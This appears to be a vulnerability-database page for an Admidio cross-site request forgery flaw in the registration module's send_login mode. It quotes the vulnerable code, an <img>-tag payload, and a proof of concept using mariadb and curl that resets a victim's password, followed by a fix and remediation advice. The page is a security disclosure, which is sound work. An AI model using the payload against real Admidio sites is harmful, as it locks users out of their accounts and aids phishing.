Admidio CVE-2026-47228
MEDIUMSeverity by source
AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
modules/registration.php mode send_login regenerates a random password for user_uuid_assigned, stores its bcrypt hash in adm_users.usr_password, and emails the cleartext to that user. Every other state-changing mode in the same file (assign_member, assign_user, delete_user, create_user) calls SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) first; the send_login branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's SameSite=Lax cookies, and the server resets the chosen user's password without any further interaction from the admin.
Details
Vulnerable Code
modules/registration.php:124-138:
} elseif ($getMode === 'send_login') {
// User already exists and has a login than sent access data with a new password
$user = new User($gDb, $gProfileFields);
$user->readDataByUuid($getUserUUIDAssigned);
$user->sendNewPassword();
// delete the registration because it isn't necessary anymore
$registrationUser->notSendEmail();
$registrationUser->delete();
admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php');
// => EXIT
}The four sibling branches all begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); - for example delete_user at lines 110-118:
} elseif ($getMode === 'delete_user') {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
// delete registration
$registrationUser->delete();
echo json_encode(array('status' => 'success'));
exit();
}User::sendNewPassword() (src/User/Entity/User.php) calls setPassword(PasswordUtils::generatePassword()) and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.
The handler accepts GET (no enforcement of HTTP method, no $_POST requirement), so an <img src=...> or auto-submitting form is sufficient.
Exploitation Flow
- Attacker prepares a "pending registration" row anywhere they can - either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.
- Attacker hosts a page that issues:
<img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}">
- A registration-administrator (someone with
isAdministratorRegistration()- usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not setSameSite=Strict). - Admidio's handler runs as that admin. It loads the assigned user, calls
User::sendNewPassword()which writes a fresh bcrypt hash toadm_users.usr_password, and queues the cleartext password to be e-mailed to the user. - The victim user's old password no longer works.
The cleartext lands in the *victim's* mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.
PoC
Tested locally against HEAD c5cde53. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's GET to the crafted URL.
# 0. observe current admin password hash (the testadmin from install)
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \
-e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);"
usr_id usr_login_name pwd
2 testadmin $2y$12$AB.h
7 victim $2y$12$L9q3
# 1. attacker creates a pending registration with user_uuid pointing at "victim"
mariadb ... admidio -e "INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)
VALUES (1, 7, NOW());"
# (the pending row gives the request a valid user_uuid for $registrationUser->delete())
# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:
# no adm_csrf_token, GET only
curl -b $admin_cookie \
"http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>"
# 3. observe the victim's password hash has changed
mariadb ... admidio \
-e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;"
usr_id usr_login_name pwd
7 victim $2y$12$w5lQThe hash before the attack was $2y$12$L9q3...; after the attack it is $2y$12$w5lQ.... The victim's previously-known password no longer authenticates them.
The same call against user_uuid_assigned=<admin's uuid> resets the admin's own password - locking out the registration-administrator from their own account.
Impact
A registration-administrator who visits a hostile page is silently coerced into resetting any user's password.
- Account lockout / DoS. The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim's mailbox.
- Phish-flavoured social engineering. The unsolicited "your new Admidio password is …" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.
- Self-targetable. Because the attacker also controls the public self-registration flow, they can reliably create a
pending_registrationrow whoseuser_uuid_assignedpoints at any chosen victim.
UI:R reflects that an admin must visit a page; PR:N because the *attacker* needs no Admidio credentials; I:H because user authentication state is destroyed; A:L because the affected user is locked out of an account but the platform stays up.
Recommended Fix
Add a CSRF check at the top of the branch and require POST:
} elseif ($getMode === 'send_login') {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
$user = new User($gDb, $gProfileFields);
$user->readDataByUuid($getUserUUIDAssigned);
$user->sendNewPassword();
...
}A regression test should issue GET /modules/registration.php?mode=send_login&... from a session that has no current page (no in-session form key) and assert that usr_password is unchanged.
AnalysisAI
Cross-site request forgery in Admidio's registration module (modules/registration.php) allows an unauthenticated attacker to force a password reset on any user account by tricking a registration-administrator into visiting a malicious page. The send_login mode uniquely omits the SecurityUtils::validateCsrfToken() check present in all four sibling branches, and unconditionally accepts GET requests, meaning a single <img src=...> tag is sufficient to trigger the attack - no form submission or JavaScript required. Publicly available exploit code confirmed against HEAD commit c5cde53; no active exploitation in CISA KEV at time of analysis.
Technical ContextAI
Admidio is a PHP-based community management platform. The vulnerability is rooted in CWE-352 (Cross-Site Request Forgery): the send_login branch of modules/registration.php (lines 124-138) omits the CSRF token validation step that every other state-changing mode in the same file enforces. The underlying PHP handler enforces no HTTP method restriction, accepting GET requests equivalently to POST. Because Admidio sets its session cookie with SameSite=Lax (not Strict), browsers will include the admin's cookie on cross-origin top-level GET navigations - including those triggered by <img> tags. The User::sendNewPassword() method in src/User/Entity/User.php unconditionally writes a new bcrypt hash to adm_users.usr_password before the email is dispatched, meaning the password is permanently overwritten even when the SMTP stack is unconfigured or unreachable. The affected package is composer/admidio/admidio and the CPE is pkg:composer/admidio_admidio.
RemediationAI
Upgrade to Admidio 5.0.10, which adds SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) to the send_login branch and enforces POST-only method handling, consistent with all other state-changing modes in modules/registration.php. The vendor advisory is at https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w. If immediate upgrade is not possible, a viable compensating control is to disable public self-registration in Admidio's configuration, which removes the attacker's ability to independently create pending registration rows - though this does not eliminate risk if existing pending registrations are present or if an attacker can obtain valid UUIDs by other means. Alternatively, restrict network access to the Admidio instance to trusted IP ranges to prevent cross-origin navigation from untrusted pages, though this may impact legitimate remote administrators. Both workarounds carry operational trade-offs and patching to 5.0.10 is the only complete remediation.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-352 – Cross-Site Request Forgery (CSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-mx25-j3rc-6w2w